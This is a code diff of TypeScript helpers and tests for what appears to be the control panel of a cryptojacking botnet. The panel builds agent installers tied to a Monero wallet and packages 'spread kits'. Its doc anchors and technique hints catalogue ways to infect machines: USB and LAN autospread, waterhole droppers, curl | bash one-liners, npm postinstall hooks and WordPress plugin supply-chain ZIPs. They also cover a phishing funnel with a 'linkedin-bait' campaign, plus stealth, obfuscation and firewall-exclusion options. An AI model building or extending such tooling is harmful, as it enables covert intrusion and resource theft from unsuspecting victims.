expect(path).toMatch(/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
it('docAnchorForField resolves known keys', () => {
|
it('docAnchorForField resolves known keys', () => {
|
||||||
expect(docAnchorForField('stealth_mode')).toBe('/docs/#forge-stealth');
|
expect(docAnchorForField('stealth_mode')).toBe('/docs/#forge-stealth');
|
||||||
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#dashboard');
|
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#calibrate');
|
||||||
expect(docAnchorForField('unknown_field')).toBeUndefined();
|
expect(docAnchorForField('unknown_field')).toBeUndefined();
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -44,15 +44,17 @@ describe('docAnchors', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
it('covers top forge spread fields', () => {
|
it('covers top forge spread fields', () => {
|
||||||
expect(DOC_ANCHORS.usb_spread).toBe('/docs/#spread-campaigns');
|
expect(DOC_ANCHORS.usb_spread).toBe('/docs/SPREAD_TECHNIQUES.html#usb');
|
||||||
expect(DOC_ANCHORS.auto_spread).toBe('/docs/#spread-campaigns');
|
expect(DOC_ANCHORS.auto_spread).toBe('/docs/SPREAD_TECHNIQUES.html#lan');
|
||||||
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#dashboard');
|
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#crucible-ops');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('every HelpTip field has a wiki anchor', () => {
|
it('every HelpTip field has a wiki anchor', () => {
|
||||||
for (const field of HELP_TIP_FIELDS) {
|
for (const field of HELP_TIP_FIELDS) {
|
||||||
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
|
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
|
||||||
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(/^\/docs\/#[\w-]+$/);
|
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(
|
||||||
|
/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/,
|
||||||
|
);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
||||||
export const DOC_ANCHORS: Record<string, string> = {
|
export const DOC_ANCHORS: Record<string, string> = {
|
||||||
// Calibrate
|
// Calibrate
|
||||||
calibrate_wallet: '/docs/#dashboard',
|
calibrate_wallet: '/docs/#calibrate',
|
||||||
calibrate_quick_setup: '/docs/#quick-start',
|
calibrate_quick_setup: '/docs/#quick-start',
|
||||||
public_url: '/docs/#quick-start',
|
public_url: '/docs/#calibrate',
|
||||||
cloudflare_tunnel_token: '/docs/#dashboard',
|
cloudflare_tunnel_token: '/docs/#calibrate',
|
||||||
open_firewall_on_start: '/docs/#security-auth',
|
open_firewall_on_start: '/docs/#security-auth',
|
||||||
obfuscate_default: '/docs/#forge',
|
obfuscate_default: '/docs/#forge',
|
||||||
sign_enabled: '/docs/#forge',
|
sign_enabled: '/docs/#forge',
|
||||||
@@ -64,12 +64,12 @@ export const DOC_ANCHORS: Record<string, string> = {
|
|||||||
https_beacon_fallback: '/docs/#agent',
|
https_beacon_fallback: '/docs/#agent',
|
||||||
|
|
||||||
// Forge — spread & ops
|
// Forge — spread & ops
|
||||||
usb_spread: '/docs/#spread-campaigns',
|
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
|
||||||
share_spread: '/docs/#spread-campaigns',
|
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
auto_spread: '/docs/#spread-campaigns',
|
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
remote_aggressive: '/docs/#dashboard',
|
remote_aggressive: '/docs/#crucible-ops',
|
||||||
mesh_p2p: '/docs/#agent',
|
mesh_p2p: '/docs/#platform-matrix',
|
||||||
hole_punch: '/docs/#agent',
|
hole_punch: '/docs/#crucible-ops',
|
||||||
|
|
||||||
// AI
|
// AI
|
||||||
ai_enabled: '/docs/#alerts-ai',
|
ai_enabled: '/docs/#alerts-ai',
|
||||||
@@ -77,8 +77,38 @@ export const DOC_ANCHORS: Record<string, string> = {
|
|||||||
ai_model: '/docs/#alerts-ai',
|
ai_model: '/docs/#alerts-ai',
|
||||||
|
|
||||||
// Crucible / agent remote
|
// Crucible / agent remote
|
||||||
firewall_remote: '/docs/#agent',
|
firewall_remote: '/docs/#crucible-ops',
|
||||||
firewall_exclusion: '/docs/#agent',
|
firewall_exclusion: '/docs/#agent',
|
||||||
|
|
||||||
|
// Mission / builds
|
||||||
|
spread_kit: '/docs/#forge',
|
||||||
|
forge_deliverable: '/docs/#forge',
|
||||||
|
forge_simple_mode: '/docs/#mission-deck',
|
||||||
|
md_overview: '/docs/#mission-deck',
|
||||||
|
md_operation_chip: '/docs/#mission-deck',
|
||||||
|
md_spread_profile: '/docs/#mission-deck',
|
||||||
|
md_campaign_identity: '/docs/#mission-deck',
|
||||||
|
md_strike_pipeline: '/docs/#mission-deck',
|
||||||
|
md_equip_strike: '/docs/#mission-deck',
|
||||||
|
|
||||||
|
// Calibrate server
|
||||||
|
websocket_ping_seconds: '/docs/#calibrate',
|
||||||
|
log_pool_traffic: '/docs/#calibrate',
|
||||||
|
webhook_url: '/docs/#calibrate',
|
||||||
|
|
||||||
|
// Dashboard / fleet UI
|
||||||
|
dash_fleet_health: '/docs/#dashboard',
|
||||||
|
dash_fleet_pipeline: '/docs/#quick-start',
|
||||||
|
dash_pool_stratum: '/docs/#mining',
|
||||||
|
dash_ai_activity: '/docs/#alerts-ai',
|
||||||
|
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||||
|
crucible_node_roster: '/docs/#dashboard',
|
||||||
|
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
|
crucible_full_audit: '/docs/#crucible-ops',
|
||||||
|
bm_pin_dropper: '/docs/#build-manager',
|
||||||
|
bm_dropper_oneliner: '/docs/#build-manager',
|
||||||
|
pt_path_tracer: '/docs/#path-tracer',
|
||||||
|
fleet_runtime_policy: '/docs/#calibrate',
|
||||||
};
|
};
|
||||||
|
|
||||||
export function docAnchorForField(field: string): string | undefined {
|
export function docAnchorForField(field: string): string | undefined {
|
||||||
|
|||||||
@@ -26,6 +26,24 @@ describe('lanEndpointCandidates', () => {
|
|||||||
expect(urls).toEqual(['http://192.168.1.10:8989']);
|
expect(urls).toEqual(['http://192.168.1.10:8989']);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('includes tunnel URL when present', () => {
|
||||||
|
const info: ServerInfo = {
|
||||||
|
port: 8989,
|
||||||
|
host: 'localhost',
|
||||||
|
local_ips: ['192.168.1.10'],
|
||||||
|
lan_url: 'http://192.168.1.10:8989',
|
||||||
|
tunnel_url: 'https://nothing.thetempleofdoom.com',
|
||||||
|
suggested_url: 'https://nothing.thetempleofdoom.com',
|
||||||
|
dashboard_url: 'https://nothing.thetempleofdoom.com',
|
||||||
|
websocket_url: 'wss://nothing.thetempleofdoom.com/ws/agent',
|
||||||
|
cloudflared_configured: true,
|
||||||
|
};
|
||||||
|
expect(lanEndpointCandidates(info)).toEqual([
|
||||||
|
'http://192.168.1.10:8989',
|
||||||
|
'https://nothing.thetempleofdoom.com',
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
it('honours port override', () => {
|
it('honours port override', () => {
|
||||||
const info: ServerInfo = {
|
const info: ServerInfo = {
|
||||||
port: 8989,
|
port: 8989,
|
||||||
|
|||||||
@@ -18,11 +18,17 @@ export function lanEndpointCandidates(info: ServerInfo, portOverride?: number):
|
|||||||
out.push(u);
|
out.push(u);
|
||||||
};
|
};
|
||||||
|
|
||||||
if (info.suggested_url?.trim()) {
|
if (info.lan_url?.trim()) {
|
||||||
push(info.suggested_url.trim());
|
push(info.lan_url.trim());
|
||||||
}
|
}
|
||||||
for (const ip of info.local_ips ?? []) {
|
for (const ip of info.local_ips ?? []) {
|
||||||
push(formatLanEndpoint(ip, port));
|
push(formatLanEndpoint(ip, port));
|
||||||
}
|
}
|
||||||
|
if (info.suggested_url?.trim()) {
|
||||||
|
push(info.suggested_url.trim());
|
||||||
|
}
|
||||||
|
if (info.tunnel_url?.trim()) {
|
||||||
|
push(info.tunnel_url.trim());
|
||||||
|
}
|
||||||
return out;
|
return out;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -70,7 +70,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
|
|||||||
return {
|
return {
|
||||||
...FORGE_BUILD_DEFAULTS,
|
...FORGE_BUILD_DEFAULTS,
|
||||||
worker_name: '',
|
worker_name: '',
|
||||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
server_url: publicUrl || serverInfo.lan_url || serverInfo.suggested_url || '',
|
||||||
wallet: config.wallet.address,
|
wallet: config.wallet.address,
|
||||||
pool_host: config.pool.host,
|
pool_host: config.pool.host,
|
||||||
pool_port: config.pool.port,
|
pool_port: config.pool.port,
|
||||||
|
|||||||
@@ -53,11 +53,11 @@ describe('forgeMission helpers', () => {
|
|||||||
it('tracks mission step status including skipped export', () => {
|
it('tracks mission step status including skipped export', () => {
|
||||||
expect(missionStepStatus('configure', 'forge', false)).toBe('done');
|
expect(missionStepStatus('configure', 'forge', false)).toBe('done');
|
||||||
expect(missionStepStatus('forge', 'forge', false)).toBe('active');
|
expect(missionStepStatus('forge', 'forge', false)).toBe('active');
|
||||||
expect(missionStepStatus('export', 'copy', true)).toBe('skipped');
|
expect(missionStepStatus('export', 'done', true)).toBe('skipped');
|
||||||
expect(missionStepStatus('copy', 'done', false)).toBe('done');
|
expect(missionStepStatus('export', 'export', false)).toBe('active');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('runForgeMission configures, builds, exports spread kit, and returns links', async () => {
|
it('runForgeMission configures, builds, and exports spread kit', async () => {
|
||||||
const buildAgent = vi.fn().mockResolvedValue(okBuild());
|
const buildAgent = vi.fn().mockResolvedValue(okBuild());
|
||||||
const exportSpreadKit = vi.fn().mockResolvedValue(undefined);
|
const exportSpreadKit = vi.fn().mockResolvedValue(undefined);
|
||||||
const api: MissionApi = { buildAgent, exportSpreadKit };
|
const api: MissionApi = { buildAgent, exportSpreadKit };
|
||||||
@@ -74,7 +74,7 @@ describe('forgeMission helpers', () => {
|
|||||||
cancelToken: 'tok-1',
|
cancelToken: 'tok-1',
|
||||||
});
|
});
|
||||||
|
|
||||||
expect(steps).toEqual(['configure', 'forge', 'export', 'copy', 'done']);
|
expect(steps).toEqual(['configure', 'forge', 'export', 'done']);
|
||||||
expect(buildAgent).toHaveBeenCalledOnce();
|
expect(buildAgent).toHaveBeenCalledOnce();
|
||||||
expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true);
|
expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true);
|
||||||
expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1');
|
expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1');
|
||||||
@@ -84,7 +84,7 @@ describe('forgeMission helpers', () => {
|
|||||||
campaign: 'linkedin-bait',
|
campaign: 'linkedin-bait',
|
||||||
});
|
});
|
||||||
expect(result.exportSkipped).toBe(false);
|
expect(result.exportSkipped).toBe(false);
|
||||||
expect(result.links.ps1).toContain('build-abc-123');
|
expect(result.build.build_id).toBe('build-abc-123');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('skips export when spread_kit is false after presets', async () => {
|
it('skips export when spread_kit is false after presets', async () => {
|
||||||
@@ -103,7 +103,7 @@ describe('forgeMission helpers', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
expect(exportSpreadKit).not.toHaveBeenCalled();
|
expect(exportSpreadKit).not.toHaveBeenCalled();
|
||||||
expect(steps).toEqual(['configure', 'forge', 'copy', 'done']);
|
expect(steps).toEqual(['configure', 'forge', 'done']);
|
||||||
expect(result.exportSkipped).toBe(true);
|
expect(result.exportSkipped).toBe(true);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -9,14 +9,13 @@ import {
|
|||||||
shOneliner,
|
shOneliner,
|
||||||
} from './emberwake';
|
} from './emberwake';
|
||||||
|
|
||||||
export const MISSION_STEPS = ['configure', 'forge', 'export', 'copy'] as const;
|
export const MISSION_STEPS = ['configure', 'forge', 'export'] as const;
|
||||||
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
|
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
|
||||||
|
|
||||||
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
|
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
|
||||||
configure: 'Configure',
|
configure: 'Apply loadout presets',
|
||||||
forge: 'Forge',
|
forge: 'Build agent installer',
|
||||||
export: 'Export',
|
export: 'Package spread-kit ZIP',
|
||||||
copy: 'Copy',
|
|
||||||
};
|
};
|
||||||
|
|
||||||
export interface MissionLinks {
|
export interface MissionLinks {
|
||||||
@@ -28,7 +27,6 @@ export interface MissionLinks {
|
|||||||
|
|
||||||
export interface MissionResult {
|
export interface MissionResult {
|
||||||
build: BuildResponse;
|
build: BuildResponse;
|
||||||
links: MissionLinks;
|
|
||||||
exportSkipped: boolean;
|
exportSkipped: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -147,9 +145,6 @@ export async function runForgeMission(opts: {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
onStep?.('copy');
|
|
||||||
const links = buildMissionLinks(serverBase, buildId, campaign);
|
|
||||||
|
|
||||||
onStep?.('done');
|
onStep?.('done');
|
||||||
return { build, links, exportSkipped };
|
return { build, exportSkipped };
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -137,7 +137,7 @@ export function forgeDefaultsFromServerSmart(
|
|||||||
const base: BuildRequest = {
|
const base: BuildRequest = {
|
||||||
...recommendedForgePreset(),
|
...recommendedForgePreset(),
|
||||||
worker_name: '',
|
worker_name: '',
|
||||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
server_url: publicUrl || serverInfo.lan_url || serverInfo.suggested_url || '',
|
||||||
wallet: config.wallet.address,
|
wallet: config.wallet.address,
|
||||||
pool_host: config.pool.host,
|
pool_host: config.pool.host,
|
||||||
pool_port: config.pool.port,
|
pool_port: config.pool.port,
|
||||||
|
|||||||
@@ -39,7 +39,10 @@ export function joinRemotePath(cwd: string, name: string): string {
|
|||||||
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
|
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
|
||||||
parts.pop();
|
parts.pop();
|
||||||
if (parts.length === 0) {
|
if (parts.length === 0) {
|
||||||
return sep === '/' ? '/' : 'C:\\';
|
if (sep === '/') return '/';
|
||||||
|
// Preserve the original drive letter instead of hardcoding C:
|
||||||
|
const driveMatch = cwd.match(/^([A-Za-z]):/);
|
||||||
|
return driveMatch ? `${driveMatch[1].toUpperCase()}:\\` : 'C:\\';
|
||||||
}
|
}
|
||||||
const joined = parts.join(sep);
|
const joined = parts.join(sep);
|
||||||
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
|
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import { describe, expect, it } from 'vitest';
|
import { describe, expect, it } from 'vitest';
|
||||||
import { getSetupStatus } from './setupStatus';
|
import { effectivePublicUrl, getSetupStatus } from './setupStatus';
|
||||||
import { mockServerConfig } from '../test/fixtures';
|
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||||
|
|
||||||
describe('getSetupStatus', () => {
|
describe('getSetupStatus', () => {
|
||||||
it('flags empty wallet and blank public URL', () => {
|
it('flags empty wallet and blank public URL', () => {
|
||||||
@@ -23,4 +23,53 @@ describe('getSetupStatus', () => {
|
|||||||
);
|
);
|
||||||
expect(status.needsCalibration).toBe(false);
|
expect(status.needsCalibration).toBe(false);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('passes when public_url is blank but server reports detected LAN', () => {
|
||||||
|
const status = getSetupStatus(
|
||||||
|
mockServerConfig({ server: { public_url: '' } }),
|
||||||
|
{
|
||||||
|
...mockServerInfo,
|
||||||
|
lan_url: 'http://192.168.1.5:8989',
|
||||||
|
suggested_url: 'http://192.168.1.5:8989',
|
||||||
|
}
|
||||||
|
);
|
||||||
|
expect(status.needsCalibration).toBe(false);
|
||||||
|
expect(status.reasons).not.toContain(
|
||||||
|
'Public URL is blank or localhost — set your LAN address in Calibrate'
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('passes when public_url is blank but HTTPS tunnel endpoint is detected', () => {
|
||||||
|
const status = getSetupStatus(
|
||||||
|
mockServerConfig({ server: { public_url: '' } }),
|
||||||
|
{
|
||||||
|
...mockServerInfo,
|
||||||
|
lan_url: 'http://192.168.1.5:8989',
|
||||||
|
tunnel_url: 'https://nothing.thetempleofdoom.com',
|
||||||
|
suggested_url: 'https://nothing.thetempleofdoom.com',
|
||||||
|
cloudflared_configured: true,
|
||||||
|
}
|
||||||
|
);
|
||||||
|
expect(status.needsCalibration).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('effectivePublicUrl', () => {
|
||||||
|
it('prefers saved public_url over detected endpoints', () => {
|
||||||
|
expect(
|
||||||
|
effectivePublicUrl(
|
||||||
|
mockServerConfig({ server: { public_url: 'http://10.0.0.2:8989' } }),
|
||||||
|
mockServerInfo
|
||||||
|
)
|
||||||
|
).toBe('http://10.0.0.2:8989');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('falls back to lan_url when public_url is blank', () => {
|
||||||
|
expect(
|
||||||
|
effectivePublicUrl(mockServerConfig({ server: { public_url: '' } }), {
|
||||||
|
...mockServerInfo,
|
||||||
|
lan_url: 'http://192.168.1.5:8989',
|
||||||
|
})
|
||||||
|
).toBe('http://192.168.1.5:8989');
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
import type { ServerConfig } from '../types';
|
import type { ServerConfig, ServerInfo } from '../types';
|
||||||
|
import { formatLanEndpoint } from './endpointHelpers';
|
||||||
import { looksLikeXMRWallet } from './forgeValidation';
|
import { looksLikeXMRWallet } from './forgeValidation';
|
||||||
|
|
||||||
export interface SetupStatus {
|
export interface SetupStatus {
|
||||||
@@ -17,8 +18,39 @@ function isBlankOrLocalPublicUrl(url: string | undefined): boolean {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Best URL workers can use — saved public_url, detected LAN, or HTTPS tunnel. */
|
||||||
|
export function effectivePublicUrl(
|
||||||
|
config: ServerConfig | null | undefined,
|
||||||
|
serverInfo?: ServerInfo | null
|
||||||
|
): string {
|
||||||
|
if (!config) return '';
|
||||||
|
|
||||||
|
const saved = config.server?.public_url?.trim();
|
||||||
|
if (saved && !isBlankOrLocalPublicUrl(saved)) return saved;
|
||||||
|
|
||||||
|
const lan = serverInfo?.lan_url?.trim();
|
||||||
|
if (lan && !isBlankOrLocalPublicUrl(lan)) return lan;
|
||||||
|
|
||||||
|
const port = serverInfo?.port ?? config.port ?? 8989;
|
||||||
|
for (const ip of serverInfo?.local_ips ?? []) {
|
||||||
|
const candidate = formatLanEndpoint(ip, port);
|
||||||
|
if (!isBlankOrLocalPublicUrl(candidate)) return candidate;
|
||||||
|
}
|
||||||
|
|
||||||
|
const tunnel = serverInfo?.tunnel_url?.trim();
|
||||||
|
if (tunnel && !isBlankOrLocalPublicUrl(tunnel)) return tunnel;
|
||||||
|
|
||||||
|
const suggested = serverInfo?.suggested_url?.trim();
|
||||||
|
if (suggested && !isBlankOrLocalPublicUrl(suggested)) return suggested;
|
||||||
|
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
/** True when wallet or LAN public URL still need Calibrate before forging. */
|
/** True when wallet or LAN public URL still need Calibrate before forging. */
|
||||||
export function getSetupStatus(config: ServerConfig | null | undefined): SetupStatus {
|
export function getSetupStatus(
|
||||||
|
config: ServerConfig | null | undefined,
|
||||||
|
serverInfo?: ServerInfo | null
|
||||||
|
): SetupStatus {
|
||||||
if (!config) {
|
if (!config) {
|
||||||
return { needsCalibration: true, reasons: ['Server configuration not loaded'] };
|
return { needsCalibration: true, reasons: ['Server configuration not loaded'] };
|
||||||
}
|
}
|
||||||
@@ -29,12 +61,15 @@ export function getSetupStatus(config: ServerConfig | null | undefined): SetupSt
|
|||||||
} else if (!looksLikeXMRWallet(wallet)) {
|
} else if (!looksLikeXMRWallet(wallet)) {
|
||||||
reasons.push('Fleet payout wallet format looks invalid (expected Monero mainnet address)');
|
reasons.push('Fleet payout wallet format looks invalid (expected Monero mainnet address)');
|
||||||
}
|
}
|
||||||
if (isBlankOrLocalPublicUrl(config.server?.public_url)) {
|
if (isBlankOrLocalPublicUrl(effectivePublicUrl(config, serverInfo))) {
|
||||||
reasons.push('Public URL is blank or localhost — set your LAN address in Calibrate');
|
reasons.push('Public URL is blank or localhost — set your LAN address in Calibrate');
|
||||||
}
|
}
|
||||||
return { needsCalibration: reasons.length > 0, reasons };
|
return { needsCalibration: reasons.length > 0, reasons };
|
||||||
}
|
}
|
||||||
|
|
||||||
export function isSetupComplete(config: ServerConfig | null | undefined): boolean {
|
export function isSetupComplete(
|
||||||
return !getSetupStatus(config).needsCalibration;
|
config: ServerConfig | null | undefined,
|
||||||
|
serverInfo?: ServerInfo | null
|
||||||
|
): boolean {
|
||||||
|
return !getSetupStatus(config, serverInfo).needsCalibration;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,24 +6,18 @@ import {
|
|||||||
} from './spreadTechniques';
|
} from './spreadTechniques';
|
||||||
|
|
||||||
describe('spreadTechniques', () => {
|
describe('spreadTechniques', () => {
|
||||||
it('builds doc URLs with optional anchors', () => {
|
it('builds doc URLs with optional tab anchors', () => {
|
||||||
expect(spreadTechniqueDocUrl()).toBe(SPREAD_TECHNIQUES_DOC);
|
expect(spreadTechniqueDocUrl()).toBe(SPREAD_TECHNIQUES_DOC);
|
||||||
expect(spreadTechniqueDocUrl('technique-matrix')).toBe(
|
expect(spreadTechniqueDocUrl('web-waterhole')).toBe(
|
||||||
'/docs/SPREAD_TECHNIQUES.md#technique-matrix',
|
'/docs/SPREAD_TECHNIQUES.html#web-waterhole',
|
||||||
|
);
|
||||||
|
expect(spreadTechniqueDocUrl('wordpress-hosting-checklist')).toBe(
|
||||||
|
'/docs/SPREAD_TECHNIQUES.html#wordpress-hosting-checklist',
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
it('maps Emberwake bullets to playbook sections', () => {
|
it('maps Emberwake bullets to playbook tabs', () => {
|
||||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(7);
|
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
|
||||||
expect(EMBERWAKE_TECHNIQUE_LINKS[0].anchor).toBeTruthy();
|
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||||
});
|
|
||||||
|
|
||||||
it('links wiki-only techniques to /docs/', () => {
|
|
||||||
expect(spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)).toBe(
|
|
||||||
'/docs/#wordpress-plugin-supply-chain',
|
|
||||||
);
|
|
||||||
expect(spreadTechniqueDocUrl('npm-postinstall-helper', true)).toBe(
|
|
||||||
'/docs/#npm-postinstall-helper',
|
|
||||||
);
|
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,61 +1,66 @@
|
|||||||
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
|
/** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */
|
||||||
|
|
||||||
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
|
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html';
|
||||||
|
|
||||||
export interface EmberwakeTechniqueLink {
|
export interface EmberwakeTechniqueLink {
|
||||||
/** Short label shown in Emberwake UI */
|
/** Short label — rendered as hyperlink text in Emberwake */
|
||||||
label: string;
|
label: string;
|
||||||
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
|
/** Tab id or sub-anchor in SPREAD_TECHNIQUES.html */
|
||||||
anchor: string;
|
anchor: string;
|
||||||
/** One-line operator hint */
|
/** One-line operator hint (no tutorial copy) */
|
||||||
hint: string;
|
hint: string;
|
||||||
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
|
|
||||||
wiki?: boolean;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Maps Emberwake “how to spread” bullets to playbook sections. */
|
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
|
||||||
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
||||||
{
|
{
|
||||||
label: 'Web waterhole',
|
label: 'Web waterhole',
|
||||||
anchor: 'owned-site-you-control-origin',
|
anchor: 'web-waterhole',
|
||||||
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
|
hint: 'Owned-origin dropper or spread-kit lander',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
label: 'curl | bash VPS',
|
label: 'curl | bash VPS',
|
||||||
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
|
anchor: 'curl-bash',
|
||||||
hint: 'install.sh / install.ps1 one-liners on headless servers',
|
hint: 'Headless install.sh / install.ps1 one-liners',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: 'Campaign & War Room',
|
||||||
|
anchor: 'campaign-war-room',
|
||||||
|
hint: '?c= tags, A/B pins, funnel analytics',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
label: 'Fusion media',
|
label: 'Fusion media',
|
||||||
anchor: 'owned-site-you-control-origin',
|
anchor: 'fusion-media',
|
||||||
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
|
hint: 'Codec/tool ZIP — Desktop Fusion preset',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
label: 'USB propagation',
|
||||||
|
anchor: 'usb',
|
||||||
|
hint: 'Forge-time USB flag — not Emberwake export',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
label: 'LAN kindling',
|
label: 'LAN kindling',
|
||||||
anchor: 'five-recommended-plays--sites-you-own',
|
anchor: 'lan',
|
||||||
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
|
hint: 'Universal spread kit + autospread preset',
|
||||||
},
|
|
||||||
{
|
|
||||||
label: 'A/B droppers',
|
|
||||||
anchor: 'social-engineering-funnel-email--ads--site--file',
|
|
||||||
hint: 'Campaign ?c= tags + pin build A vs B between waves',
|
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
label: 'WordPress plugin',
|
label: 'WordPress plugin',
|
||||||
anchor: 'wordpress-plugin-supply-chain',
|
anchor: 'wordpress',
|
||||||
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
|
hint: 'Owned-site plugin ZIP — supply-chain wizard',
|
||||||
wiki: true,
|
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
label: 'npm postinstall',
|
label: 'npm postinstall',
|
||||||
anchor: 'npm-postinstall-helper',
|
anchor: 'npm-helper',
|
||||||
hint: 'Private package template — postinstall curls your install.sh',
|
hint: 'Private registry template — your packages only',
|
||||||
wiki: true,
|
},
|
||||||
|
{
|
||||||
|
label: 'Social funnel',
|
||||||
|
anchor: 'social-funnel',
|
||||||
|
hint: 'Email → lander → pinned build chains',
|
||||||
},
|
},
|
||||||
];
|
];
|
||||||
|
|
||||||
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
|
export function spreadTechniqueDocUrl(anchor?: string): string {
|
||||||
if (wiki && anchor) return `/docs/#${anchor}`;
|
|
||||||
if (!anchor) return SPREAD_TECHNIQUES_DOC;
|
if (!anchor) return SPREAD_TECHNIQUES_DOC;
|
||||||
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
|
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -63,13 +63,13 @@ export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign
|
|||||||
|
|
||||||
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
|
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
|
||||||
return family === 'wordpress'
|
return family === 'wordpress'
|
||||||
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
|
? spreadTechniqueDocUrl('wordpress')
|
||||||
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
|
: spreadTechniqueDocUrl('npm-helper');
|
||||||
}
|
}
|
||||||
|
|
||||||
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
|
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
|
||||||
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
